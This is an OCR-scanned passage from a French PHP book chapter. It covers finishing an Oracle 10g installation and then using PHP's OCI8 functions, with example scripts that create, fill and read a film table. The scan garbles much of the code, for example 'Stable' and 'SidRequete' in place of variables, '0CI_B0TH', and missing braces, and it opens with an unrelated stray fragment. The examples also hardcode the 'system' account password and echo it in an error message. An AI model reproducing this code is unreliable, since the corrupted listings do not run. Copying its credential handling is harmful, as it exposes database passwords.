The Database for the Grid 

- Viit Jdlizalion at every layer 
■ Poficy-bassd provisioning 

- Resource pooling 
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Figure 10.33 : En cours d' installation 



Cette fois c'est parti. 

reinstallation risque d'etre perturbee par quelques messages d'erreur comme suit mais ne 
paniquez pas, ils ne devraient pas porter a consequence. Cliquez simplement sur Continue. 



EBB 



Error in invoking target 'ihsodbc sdo.on' of makefile 
7usr/local/oraclelQg/produd/10.1.0 
/db.l/rdbrns/lib/ins.rdbrns.mk 1 See 
Vusr/local/oraclelOg/oralnventorv/logs/installAclions2004- 
07-ll_06-40-56PM.Iug' for details. 

Click Help for more information. 

Click Retry to try again. 

Click Continue to use the default vafue and go ort. 

Click Cancel to stop this installation. 



Help 



Retry 



Com in u s 



Figure 10.34 : 

Message d'erreur lors 
de V installation 



EBB 



Error in invoking target 'utilities alLno.ord' of makefile 
Vusr/local/oraclelOg/prodtJd/10.1.0 
/db.l/rdbrns/lib/ins.rdbrns.mk 1 . See 
Vusr/local/oraclelOg/oralnventorv/logs/installActions2004- 
07-ll_06-40-56PM.Iug' for details. 

Click Help for more information. 

Click Retry to try again. 

Click. Continue to use the default vafue and go on. 

Click Cancel to stop this installation. 



Help 



Retry 



Com in i.i s 



Figure 10.35 : 

Nepas tenir compte des 
messages d'erreur et 
continuer 



Le logiciel d'installation passe alors a la configuration des differents elements. 
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Configuration Assistants 



The following configuration assistants will configure and start the components you selected earlier. 



Tool Name 


Status 


Type 


."■"L" : . '.: '. ' . j'n.'ii -. . .1.1 


Succeeded 


Optional 




■i ■■ r it. . ■"..r.n. . . i ii i 


Pending. _ 


Optional 





Retry Stop 



Details (see full leg at /uslv'local/ot^iClelOg/ol-aln^ J ^ntolv/lo^s/l^lItaj|Actions2004-0/-11.06-40-56PH. 



Configuration assistant "iSQL*Plus Configuration Assistant" succeeded 

Output generated from configuration assistant "Oracle Net Configuration Assistant": 



M 



nstalled Products.. 



Back 



Figure 10.36 : Les assistants poursuivent ['installation sans votre intervention 
Vous n'avez rien a faire, les operations s'enchainent d'elles meme. 



a a 




| * Copying database files 

Creating and starting Oracle instance 
Completing Database Creation 



Clone database creation in progress 




(W) 



Figure 10.37 : 

La base de donnees se 
cree enfin 



La base de donnees se cree. 



Complement d'installation 

Afin que la base de donnees (mabase) soit systematiquement demarree lorsque Ton lance 
Oracle, vous devez modifier le fichier /etc/oratab. conf afin de remplacer le N a la fin de la 
ligne par un Y. 

mabase :/usr/local/oraclel0g/product/10.1.0/db_l:Y 
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De plus vous etes invites a modifier le fichier listener.ora dans le repertoire $ORACLE_HOME/ 
network/admin afin d'ajouter les lignes relatives a mabase. Le fichier ressemblera alors a : 

SID_LIST_LISTENER = 
(SID_LIST = 
(SID_DESC = 

(SID_NAME = PLSExtProc) 

(ORACLEJHOME = /usr/local/oraclel0g/product/10.1.0/db_l) 

(PROGRAM = extproc) 

) 
(SID_DESC = 

(GLOBAL_DBNAME = mabase) 

(0RACLE_H0ME = /usr/local/oraclel0g/product/10.1.0/db_l) 

(SIDJIAME = mabase) 
) 
) 

LISTENER = 

(DESCRIPTION_LIST = 
(DESCRIPTION = 
(ADDRESS_LIST= 

(ADDRESS = (PROTOCOL = IPC) (KEY = EXTPROC)) 

) 
(ADDRESS_LIST= 

(ADDRESS = (PROTOCOL = TCP) (H0ST=192. 168.1. 1) (P0RT=1521)) 



) 

Ce fichier indique principalement que le listener doit etre a l'ecoute en tcp sur la machine 
192 . 168 . l . l (la machine du serveur de bases de donnees) sur le port 1521 (port par defaut). 

II indique, en outre, qu'il y a sur ce serveur une base de donnee "mabase", hebergee sous 
/usr/local/oraclel0g/product/10.1.0/db_l, et qui sera identified comme etant "mabase" (par les 
clients). 



A Mais il est ou ce serveur ? 

Afin de vous eviter d'inutiles soucis, si vous indiquez un nom de serveur plutot qu 'une 
ATTENTION adresse IP assurez qu 'Oracle n 'a pas de mal a I'identifier. Le plus simple etant alors 
de declarer ce serveur dans le fichier /etc/hosts. 



Demarrage du serveur de bases de donnees 

Pour demarrer l'interface qui va permettre de communiquer avec le serveur Oracle (et que Ton 
vient de configurer via listener.ora), lancez (sous le compte oracle et avec les variables 
d'environnement definies dans le fichier .bashrc): 

$ lsnrctl start 
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Pour demarrer le serveur Oracle, suivez les instructions suivantes : 

$ dbstart 

Test du serveur Oracle (en local) 

Vous pouvez maintenant tester la connexion au serveur Oracle. 

$ sqlplus system/biblephpOmabase 
SQL > CREATE TABLE test (id INTEGER); 
SQL > INSERT INTO test VALUES (1234); 
SQL > SELECT * FROM test; 
SQL > DROP TABLE test; 

Si vous avez pu enchainer les requetes precedentes sans generer d'erreur, c'est probablement 
que le serveur fonctionne correctement. 



REMARQUE 



Utilisateurs par defaut 

Le system/biblephp indique est un couple <nom d'utilisateur>/<mot de 
passe>. Or lors de I 'installation nous avons choisi d'associer le mot de passe 
biblephp a tous les comptes. 



Arret du serveur de bases de donnees 

Sachez que vous pourrez arreter Oracle (apres avoir mis fin a toutes les connexions, qu'elles 
aient ete ouvertes par sql/plus ou via PHP) en tapant les commandes : 

$ dbshut 

$ lsnrctl stop 

Configuration de PHP avec support d'Oracle 
Sous Linux 

Pour acceder a une base de donnees Oracle depuis PHP, vous n'avez qu'a recompiler PHP avec 
1'option — with-oci8=$ORACLE_HOME (en remplagant toutefois $oracle_home par sa valeur). 



RENVOI 



Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur lafacon 
de compiler PHP. 



II se peut que, durant la compilation de PHP, vous aperceviez un message d'alerte vous invitant 
a compiler Apache (si tel est votre serveur) avec 1'option pthread en cas de probleme (ce qui n'a 
pas ete notre cas). 
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Verification 



A 



ATTENTION 



Variables d'environnement 

Afin de pouvoir acceder a la base de donne.es, le serveur web doit avoir dans ses 
variables d'environnement celles definies pour le compte oracle (oracle_home, 
ORACLE_SiD, etc.). Pour cela, vous devez integrer un appel source -oracle/ 
. bashrc dans le . bashrc du compte sous lequel tourne le serveur web, ou simplement 
faire manuellement cet appel juste avant de lancer (dans la memefenetre) le serveur 
web. 



Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ; ?> et 
vous devez apercevoir les lignes suivantes : 





oci8 




OCI8 Support 


enabled 


Revision 


^Revision: 1.169.2.3 $ 


Oracle Version 


8.1 


Compile time ORACLE HOME 


/mnt/dba/oracle_home 


Libraries Used 









Figure 10.38 : phpinf o() 

Utilisation 

L'utilisation basique de la base de donnees s'opere selon le schema suivant : 

Connexion grace aux fonctions oci_connect ( ) , oci_pconnect ( ) ou 
oci_new_connect ( ) . 

Soumission de la requete via les fonctions ocijarse ( ) et oci_execute ( ) . 

Validation ou annulation de la transaction via les fonctions oci_commit ( ) ou 
oci_roliback ( ) (si la requete n'a pas ete automatiquement validee). 

Deconnexion grace a la fonction oci_ciose ( ) (dans le cas d'une connexion non 
persistante). 
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REMARQUE 



Al'epoquedePHP4 

La plupart des fonctions decrites ici existaient dejd sous PHP 4 mais portaient un 
autre nom. Pour chacune d'entre elles nous indiquerons done leur precedente 
identite. II est a noter que pour des raisons de compatibilite, il reste possible d'utiliser 
Vancien nom sous PHP 5. 



Connexion 

La connexion a une base de donnees Oracle s'opere grace a la fonction oci_connect ( ) . 
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Chapitre 10 L'utilisation des bases de donnees 



oci_connect() (ociLogon() PHP4) 

Etablit une connexion (non persistante) avec le serveur de bases de donnees. 

Syntaxe resource oci_connect(string $util isateur, string $motDePasse 

[, string $base]) 

$util isateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

$base Nom de la base (0RACLE_SID). Si le serveur web et la base de donnees 

sont sur la meme machine et que le listener ne tourne pas, alors vous devez 
laisser ce champ vide. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 

Si, au sein d'un meme script, vous decidez d'ouvrir plusieurs connexions avec oci_connect ( ) , 
vous aurez alors peut-etre la surprise de constater que les operations de commit et callback 
s'appliquent a toutes les transactions effectuees, quelle que soit la connexion selectionnee. Si ce 
n'est pas le comportement que vous cherchez a obtenir, vous devez alors privilegier la fonction 

oci_new_connect ( ) . 



oci_new_connect() (ociNLogonQ PHP4) 



Etablit une nouvelle connexion (non persistante) avec le serveur de bases de donnees ne 
partageant pas les operations de commit et callback avec les autres connexions ouvertes au 
sein du script. 

Syntaxe resource oci_new_connect(string $util isateur, string 

$motDePasse [, string $base]) 

$util isateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

$base Nom de la base (0RACLE_SID). Si le serveur web et la base de donnees 

sont sur la meme machine et que le listener ne tourne pas, alors vous devez 
laisser ce champ vide. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 

L'utilisation d'une connexion persistante requiert l'appel a ocijconnect ( ) . 



oci_pconnect() (ociPLogon() PHP4) 

Etablit une connexion persistante avec le serveur de bases de donnees. 
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Syntaxe resource oci_pconnect (string $util isateur, string $motDePasse 

[, string $base]) 

$util isateur Nom d'utilisateur. 

$motDePasse Mot de passe de l'utilisateur. 

$base Nom de la base (0RACLE_SID). Si le serveur web et la base de donnees 

sont sur la meme machine et que le listener ne tourne pas, alors vous devez 
laisser ce champ vide. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 

Execution de la requete SQL 

L'execution d'une requete SQL se passe au minimum en deux temps par un appel a 

oci_parse ( ) Suivi de oci_execute ( ) . 



oci_parse() (ociParse() PHP4) 

Analyse et prepare une requete SQL. 

Syntaxe resource oci_parse(resource $idBaseDonnees, string $requete) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

$requete Requete SQL 

retour Identifiant de requete SQL, ou FALSE en cas d'echec (ex. : identifiant de 

base de donnees non valide, mais pas dans le cas d'une requete SQL non 
valide). 

Nous verrons par la suite qu'il est egalement possible d'utiliser des requetes preparees 
(contenant des parametres qui pourront etre modifies juste avant que celles-ci ne soient 
executees). 



oci_execute() (ociExecuteQ PHP4) 



Execute une requete SQL. 

Syntaxe boolean oci_execute(resource $idRequete [,int $modeCommi t] ) 

SidRequete Identifiant de requete SQL tel que retourne par oci_parse ( ) . 

$modeCommit Precise si vous souhaitez que la requete soit immediatement validee ou 

non. Vous avez le choix entre les valeurs : 

OCI_COMMIT_ON_SUCCESS (valeur par defaut) : la requete est 
immediatement validee (par un COMMIT). 
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Chapitre 10 L'utilisation des bases de donnees 



0CI_DEFAULT : la requete devra etre ulterieurement validee par 

oci_commit ( ) ou annulee par oci_rollback ( ) . 

retour TRUE en cas de succes, FALSE sinon. 



A Option OCI_COMMIT_ON_SUCCESS 

^^^ Ne vous laissez pas surprendre : si vous choisissez I'option (par defaut) 

ATTENTION OCI_COMMIT_ON_SUCCESS, un commit sera necessairement applique 

(validant ainsi les precedentes operations effectuees avec I'option OCI_DEFAULT). 

Ceci est vrai meme si la requete effectuee n 'est pas une requete de mise a jour de la 

base (ex. : un select). 

La requete ainsi executee peut etre de n'importe quel type. Ce peut etre un simple insert ou 
select, comme une requete de creation de procedure stockee ou un appel a une procedure 
stockee. 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 

Commit/rollback 

Si vous avez opte pour I'option OCI_DEFAULT de la fonction oci_execute ( ) , vous pourrez 
valider ou annuler vos transactions avec les fonctions suivantes : 



oci_commit() (ociCommit() PHP4) 

Valide les transactions. 

Syntaxe boolean oci_commit (resource $idBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

retour TRUE en cas de succes, FALSE sinon (c'est essentiellement le cas pour un 

identifiant non valide). 



oci_rollback() (ociRollback() PHP4) 

Annule les transactions. 

Syntaxe boolean oci_rollback(resource $idBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 
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retour TRUE en cas de succes, FALSE sinon (c'est essentiellement le cas pour un 

identifiant non valide). 



Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction oci_ciose ( ) . 



oci_close() (ociLogoffO PHP4) 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe void oci_close(resource $idBaseDonnees) 

$idBaseDonnees Identifiant de connexion a une base de donnees tel que retourne par 

oci_connect ( ) , oci_new_connect ( ) ou oci_pconnect ( ) . 

Premier exemple 

Nous voici done a meme de construire notre premier script utilisant une base de donnees. 



AVerifiez les parametres 
Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 
ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait dejd. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable. 

Listing 10.58 : parametresbdincphp 

<?php 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 

$util isateur = "system"; 
$motDePasse = "manager"; 

$base = "mabase"; 
?> 
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Chapitre 10 L'utilisation des bases de donnees 



Notre script principal sera done : 

Listing 10.59 : in.sert01.php 

<?php 

// Parametres du script 

requi re_once ( "parametres_bd_i nc . php" ) ; 

Stable = "tableexemple"; 

// inclusion du script contenant les fonctions 
requi re_once("insert01_bd_inc. php") ; 

// Connexion a la base de donnees 

$idConnexion = oci_pconnect($utilisateur, $motDePasse, $base); 

if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees". 

" [$base] sous le compte [$utilisateur] ". 

" avec le mot de passe [$motDePasse] .</b>") ; 



// Appel de la fonction principale 

if (EX_initialiseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees,". 
"vous pouvez le verfier avec votre client de base ". 
" de donnees ou via les scripts suivants."; 
} else { 

echo "La creation ou 1 'al imentation de la table a echouee."; 
} 



?> 



// Pas de deconnexion dans le cas d'une connexion persistante 
// oci_close($idConnexion) ; 



et necessitera : 

Listing 10.60 : insert01_bd_inc.php 

<?php 

/** Fonction charge de creer et d'alimenter une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

function EX_initial iseBD($idConnexion, $table) 
{ 

// Creation de la table 
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$requete = "DROP TABLE Stable"; 

$idRequete = oci_parse($idConnexion, $requete) ; 

@oci_execute($idRequete) ; 

$requete = "CREATE TABLE Stable (filmld INTEGER, film VARCHAR(64)) " ; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'une sequence pour les identifiants de film 
$requete = "DROP SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE SEQUENCE seqjtable"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Creation d'un trigger pour remplir automatiquement 
// le champ identifiant de film a chaque ajout de film 
$requete = "DROP TRIGGER compteur_$table" ; 
$idRequete = oci_parse($idConnexion, $requete) ; 
@oci_execute($idRequete) ; 

$requete = "CREATE TRIGGER compteurjtable BEFORE INSERT ON $table ". 

"FOR EACH ROW ". 

"BEGIN ". 

"SELECT seqjtable. NEXTVAL INTO :NEW. filmld FROM DUAL; ". 

"END;"; 
$idRequete = oci_parse($idConnexion, $requete) ; 
if (!oci_execute($idRequete)) return FALSE; 

// Ajoute quelques donnees 
$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES ('Forrest Gump 1 )"); 
oci_execute($idRequete, OCI_DEFAULT) ; 

$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES ('Matrix')"); 
oci_execute($idRequete, OCI_DEFAULT) ; 

$idRequete = oci_parse($idConnexion, 

"INSERT INTO Stable (film) VALUES ('La cite de la peur')"); 
oci_execute($idRequete, OCI_DEFAULT) ; 

// Validation des transactions 

// Uniquement parce que 1 'option OCI_DEFAULT a ete choisie. 

oci_commit($idConnexion) ; 

return TRUE; 
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Chapitre 10 L'utilisation des bases de donnees 



Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 
convient de recuperer l'identifiant de requete et de l'utiliser pour lire, en boucle, ligne apres 
ligne, chaque enregistrement. II existe diverses fonctions, chacune permettant de recuperer les 
champs des enregistrements sous differentes formes. 

Les informations peuvent ainsi etre retournees : 

Champ par champ ; 

Enregistrement par enregistrement (sous la forme d'un tableau indexe, d'un tableau 
associatif ou encore d'un tableau a la fois indexe et associatif) ; 

Par bloc d'enregistrements. 

Lecture champ par champ 

Pour une lecture champ par champ, vous pouvez passer d'un enregistrement au suivant par 
l'appel a oci_f etch ( ) , et acceder a 1'un quelconque des champs par appel a oci_resuit ( ) . 



oci_fetch() (ociMchQ PHP4) 



Passe a l'enregistrement suivant. 

Syntaxe boolean oci_fetch (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour TRUE en cas de succes, FALSE sinon (plus d'enregistrement a lire). 



oci_result() (ociResult() PHP4) 

Retourne la valeur d'un champ d'un enregistrement. 

Syntaxe mixed oci_result (resource $idRequete, mixed $champ) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$c h amp Au choix, soit le nom du champ (en majuscules), soit l'index du champ dans 

la requete (le premier champ ayant l'index 0). 

retour La valeur du champ. 

Listing 10.61 : select_cc_bd_inc.php 

<?php 

/** 
* Fonction listant le contenu d'une table 
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* contenant 2 champs (filmld et film) 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, $table) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidRequete = oci_parse($idConnexion, $requete) ; 

if (!oci_execute($idRequete)) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while (oci_fetch($idRequete, $enreg)) { 

echo "FilmId=".oci_result($idRequete, "FILMID") . " "; 

echo "Film=".oci_result($idRequete, "FILM")."<br />"; 
} 
return TRUE; 



Lecture enregistrement par enregistrement 

La forme la plus simple est celle retournee par la fonction oci_fetch_row( ) . 
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oci_fetch_row() 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe. 

Syntaxe array oci_fetch_row(resource $idRequete) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour Tableau indexe contenant autant d'elements que de champs retournes par 

la requete. 

Listing 10.62 : selecteeibdinc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, Stable) 
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// Requete 

$requete = "SELECT * FROM $table"; 

$idRequete = oci_parse($idConnexion, $requete); 

if (!oci_execute($idRequete)) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while ($enreg = oci_fetch_row($idRequete)) { 

echo "Filmld=".$enreg[0] ." Film=" .$enreg[l] . "<br />"; 

} 

return TRUE; 



Mais il est egalement possible de retourner un enregistrement sous la forme d'un tableau 
indexe et associatif avec, pour cles, les noms des champs (en majuscules). 



oci_fetch_array() 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe 
et/ou associatif. 

Syntaxe array oci_fetch_array(resource $idRequete [, int $mode] ) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$mode Combinaison par OU logique des options suivantes : 

0CI_ASS0C : I 'enregistrement est retourne sous la forme d'un 
tableau associatif ou les cles sont les noms des champs (en 
majuscules) et les valeurs, celles des champs. II n'ya pas de cle 
creee pour les champs ayant une valeur NULL (sauf si I 'option est 
combinee avec OCl_RETURN_NULLSj. 



retour 



OC I_NUM (valeur par defaut) : l'enregistrement est retourne sous la forme 
d'un tableau indexe (l'index correspondant au premier champ de 
l'enregistrement). II n'y a pas d'index cree pour les champs ayant une 
valeur NULL (sauf si l'option est combinee avec OCl_RETURN_NULLS). 
0CI_B0TH : combinaison de 0CI_ASS0C et 0CI_NUM. 
0CI_RETURN_NULLS : complete les tableaux avec des index ou cles, y 
compris pour les valeurs NULL. 

0CI_RETURN_L0BS : retourne les valeurs des champs de type CLOB, 
BLOB et non leurs descripteurs (voir plus loin). 

Tableau associatif ou indexe selon le mode choisi. 



C'est ce mode de lecture de donnees que nous privilegierons; il est en effet fort pratique pour 
les champs dont on connait le nom (ce qui est le plus souvent le cas), et permet egalement de 
faire reference a des champs sans nom, comme par exemple un champ sum ( nomchamp ) . Notez 
toutefois qu'il est possible d'affecter un nom (ex: somme) a ce genre de champ en indiquant 

SUM ( nomchamp ) AS somme. 
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L'exemple precedent gagnera ainsi en lisibilite et deviendra: 

Listing 10.63 : select_eea_bd_inc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, $table) 
{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidRequete = oci_parse($idConnexion, $requete) ; 

if (!oci_execute($idRequete)) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while ($enreg = oci_fetch_array($idRequete, 0CI_B0TH)) { 

echo "FilmId=".$enreg["FILMID"]." Film=" .$enreg["FILM"] ."<br />"; 
} 
return TRUE; 



oci_f etch_array est l'equivalent de la fonction PHP4 ociFetchinto ( ) , (toujours disponible 
mais amenee a disparaitre) mais cette derniere a une syntaxe legerement differente. 
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ociFetchinto () (PHP4) 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe, 
associatif, ou encore indexe et associatif. 

Syntaxe boolean oci FetchInto(resource $idRequete, array 

&$enregistrement [, int $mode] ) 

$idRequete Identifiant de requete tel que retourne par ociExecute ( ) . 

$enregistrement Reference sur un tableau dans lequel seront copiees les donnees de 
l'enregistrement. 

$mode Combinaison par OU logique des options suivantes : 

0CI_ASS0C : l'enregistrement est retourne sous la forme d'un 
tableau associatif ou les des sont les noms des champs (en 
majuscules) et les valeurs, celles des champs. II n'y a pas de cle 
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creee pour les champs ayant une valeur NULL (sauf si I 'option est 
combinee avec OCI_RETURN_NULLS) . 

OC I_NUM (valeur par defaut) : l'enregistrement est retourne sous la forme 
d'un tableau indexe (l'index correspondant au premier champ de 
l'enregistrement). II n'y a pas d'index cree pour les champs ayant une 
valeur NULL (sauf si l'option est combinee avec OCl_RETURN_NULLS). 
OCl_BOTH : combinaison de OCl_ASSOC et 0CI_NUM. 
OCl_RETURN_NULLS : complete les tableaux avec des index ou cles, y 
compris pour les valeurs NULL. 

OCl_RETURN_LOBS : retourne les valeurs des champs de type CLOB, 
BLOB et non leurs descripteurs (voir plus loin). 

retour TRUE en cas de succes, FALSE sinon (plus d'enregistrement a lire). 

Lecture des enregistrements en un bloc 

II est egalement possible de retourner l'ensemble des enregistrements par un appel unique a la 
fonction oci_fetch_ali ( ) (ce qui n'est pas necessairement la fagon la plus elegante de 
proceder). 



oci_fetch_all() (ociFetchStatement() PHP4) 

Retourne l'ensemble des enregistrements sous la forme d'un tableau. 

Syntaxe int oci_fetch_al 1 (resource $idRequete, array 

&$tabl eauEnregi strements) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

$tabl eauEnregi strements Reference sur une variable dans laquelle sera copie un tableau associatif 
ayant pour cles les champs (en majuscules) des enregistrements, et pour 
valeur un tableau indexe contenant les valeurs pour chaque 
enregistrement. 

retour Nombre d'enregistrements retournes. 

Association des champs retournes par une requete a des variables 
PHP 

II est egalement possible de lire le resultat d'une requete SQL en associant directement un 
champ de l'enregistrement a une variable PHP. Pour cela, vous pouvez utiliser la fonction 

oci_def ine_by_name ( ) . 
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oci_define_by_name() (ociDefineByName() PHP4) 

Associe a une variable PHP un champ retourne par une requete (de type select) 
Syntaxe 



$idRequete 
$champ 
$variable 
$typeChamp 



retour 



boolean oci_define_by_name(resource $idRequete, string $champ, 
mixed &$variable [, int $typeChamp]) 

Identifiant de requete tel que retourne par oci_execute ( ) . 

Nom du champ (en majuscules) de l'enregistrement. 

Reference sur la variable PHP devant etre liee a la variable SQL. 

Type compatible avec le champ SQL. Ce parametre peut prendre une 
valeur parmi les suivantes : 

OCI_B_BFILE. 
OCI_B_CFILEE. 

OCl_CLOB s'il s'agit d'un champ de type CLOB (objet large de type texte). 

OCl_BLOB s'il s'agit d'un champ de type BLOB (objet large de type 

binaire). 

0CI_R0WID s'il s'agit d'un identifiant d'enregistrement. 

OCI_B_CURSOR s'il s'agit d'un curseur (pointeur de resultat). 

OCI_B_BIN. 

OCl_B_SQLT_NTY s'il s'agit d'une collection. 

OCI_SYSDATE. 

Par defaut, le champ est retourne sous le type string. 

Le contenu ou pointeur vers le champ. 
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Si vous avez pris soin d'appeler cette fonction avant de faire un appel a oci_execute ( ) , alors, 
a chaque appel a oci_fetch(), les contenus des variables ainsi associees aux champs de 
l'enregistrement seront mis a jour avec les valeurs de l'enregistrement suivant. 



Listing 10.64 : selectbindbdinc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** / 

function EX_listeContenu($idConnexion, $table) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$idRequete = oci_parse($idConnexion, $requete); 

oci_define_by_name($idRequete, "FILMID", $filmld); 

oci_define_by_name($idRequete, "FILM", $film); 

if (!oci_execute($idRequete)) return FALSE; 
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Chapitre 10 L'utilisation des bases de donnees 



// Boucle de lecture (et d'affichage) des enregistrements 
while (oci_fetch($idRequete)) { 

echo "Filmld=".$filmld." Film=".$film."<br />"; 
} 
return TRUE; 

} 

?> 

Si le champ associe est de type blob ou clob, vous devrez faire appel, au prealable, a 
oci_new_descriptor ( ) , comme cela est decrit dans le chapitre sur les objets de grande taille. 

Nombre d' enregistrements 
Nombre d' enregistrements retournes 

Si Ton inclus l'utilisation de ociFetchstatement ( ) qui retourne un tableau dont il est aise de 
connaitre la taille, il existe trois facons de determiner le nombre d'enregistrements retournes 
par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 

Listing 10.65 : countbdincphp 

<?php 

/** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** / 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT C0UNT(*) FROM Stable"; 
SidRequete = oci_parse($idConnexion, $requete); 
if (!oci_execute($idRequete)) return FALSE; 

// Lecture du resultat 

if ($enreg = oci_fetch_row($idRequete)) { 

echo "II y a ".$enreg[0] ." enregistrements dans". 
" la table $table<br />"; 

return TRUE; 
} else { 

echo "Etes-vous sur que la table Stable existe ?<br />"; 
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return FALSE; 



Si vous souhaitez connaitre le nombre d'enregistrements, mais que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit 
de les compter au fur et a mesure de leur lecture. 

Listing 10.66 : count_select_bd_inc.php 

<?php 

/** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** / 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidRequete = oci_parse($idConnexion, $requete); 

if (!oci_execute($idRequete)) return FALSE; 

// Boucle de lecture (et de decompte) des enregistrements 

$nb = 0; 

while ($enreg = oci_fetch_row($idRequete)) { 

// vous pouvez manipuler $enreg a votre guise 

// mais n'oubliez pas de le compter 

$nb++; 
} 

echo "II y a $nb enregistrements dans la table $table<br />"; 
return TRUE; 



Sachant qu'une requete select * est plus longue qu'une requete select count (* ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 
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Nombre d'enregistrements modifies 



II est possible de determiner le nombre d'enregistrements modifies (par une requete de type 
insert ou update, mais a l'exclusion des enregistrements retournes par select) avec la 

fonction oci_num_rows ( ) . 
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Chapitre 10 L'utilisation des bases de donnees 



oci_num_rows() (ociRowCount() PHP4) 

Retourne le nombre d'enregistrements modifies par la requete. 

Syntaxe int oci_num_rows (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne par oci_execute ( ) . 

retour Nombre d'enregistrements modifies. 

Dans notre exemple, nous modifierons les enregistrements sans veritablement les modifier. 
Listing 10.67 : count_update_bd_inc.php 

<?php 

/** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

Srequete = "UPDATE Stable SET filmId=filmId+0"; 
SidRequete = oci_parse($idConnexion, Srequete); 
if (!oci_execute($idRequete)) return FALSE; 

echo "II y a eu ".oci_num_rows($idRequete) . 

" enregistrements modifies<br />"; 
return TRUE; 
} 
?> 



Mise a profit des requetes preparees 



Oracle permet l'analyse, la compilation et le stockage des requetes avant utilisation. Ceci 
permet d'executer une serie de requetes similaires, sans avoir a renouveler a chaque fois les 
operations d'analyse et de compilation. 

Pour cela, il suffit de preparer une requete dans laquelle les elements variables sont remplaces 
par des noms precedes de : (ex.: insert into matabie (film) values (:film)), et 
d'associer cette variable SQL a une variable PHP. 

Cette association variable SQL/variable PHP se realise par la fonction oci_bind_by_name ( ) . 
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oci_bind_by_name() (ociBindByName() PHP4) 

Associe une variable de requete SQL a une variable PHP. 

Syntaxe boolean oci_bind_by_name (resource $idRequete, string 

$variableSQL, mixed &$variablePHP [, int SlongueurChamp , [int 
